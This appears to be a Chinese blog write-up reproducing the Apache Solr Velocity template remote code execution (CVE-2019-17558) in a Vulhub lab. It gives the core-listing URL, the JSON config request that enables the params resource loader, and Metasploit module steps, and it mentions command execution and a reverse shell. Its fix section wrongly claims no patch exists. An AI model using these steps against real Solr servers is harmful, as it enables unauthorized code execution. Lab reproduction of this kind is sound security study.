Vulhub漏洞复现---solr---CVE-2019-17558
漏洞描述
Apache Solr 5.0.0到Apache Solr 8.3.1容易受到通过VelocityResponseWriter执行的远程代码的攻击。Velocity模板可以通过configset ’ Velocity / '目录中的Velocity模板或作为参数提供。用户定义的configset可以包含可呈现的、潜在的恶意模板。参数提供的模板在默认情况下是禁用的,但是可以通过设置params.resource.loader来启用。通过定义一个响应写入器并将其设置为true来启用。定义响应编写器需要配置API访问。Solr 8.4完全删除了params资源加载器,只有在configset是“可信的”(由经过身份验证的用户上传)时才启用configset提供的模板呈现。
受影响软件情况
厂商
apache
产品
solr
影响面
From 5.0.0(including) Up to 8.3.1(including)
漏洞类型
| CWE-ID | 漏洞类型 |
|---|---|
| CWE-20 | 输入验证不恰当 |
| CWE-74 | 输出中的特殊元素转义处理不恰当(注入) |
| CWE-94 | 对生成代码的控制不恰当(代码注入) |
漏洞复现过程
WEB页面

方法一
获取内核
通过下边API获取所有内核名称
默认情况下
params.resource.loader.enabled配置未打开,无法使用自定义模板。可以先通过如下API获取所有的核心,在vulhub中核心就是demo
http://172.20.0.1:8983/solr/admin/cores?indexInfo=false&wt=json

修改config
在URL访问/solr/demo/config时,将params.resource.loader.enabled 置为true,启用配置。
方法:burpsuit抓包,改成POST然后修改启动配置。

共有两处修改
- 请求方式由
GET修改为POST - 添加请求内容
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
漏洞利用
利用Velocity模板执行命令,如ls。修改exec(%27ls%27)中的代码即可更改命令

扩展
使用shell反弹实现RCE
方法二 Kali—MSF
打开msfconsole

search solr查找可利用的攻击脚本,发现序号0为我们要利用的脚本
use 0使用它

set rhost IP 设置被攻击的主机
set lhost IP 设置攻击的主机
run 运行后即可进行命令执行了

方法三 直接使用脚本

漏洞修复
- 目前Apache
- Solr官方未发布该漏洞的补丁,请关注Solr官方以便获取更新信息:https://lucene.apache.org/solr/
建议升级Appache Salc到最新版
附录
参考内容
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17558
阿里云漏洞库
LuckyCharm~的博客
solr基础
VLocity模板注入
JAVA下奇怪的命令执行
VTL语言基础
更多推荐
所有评论(0)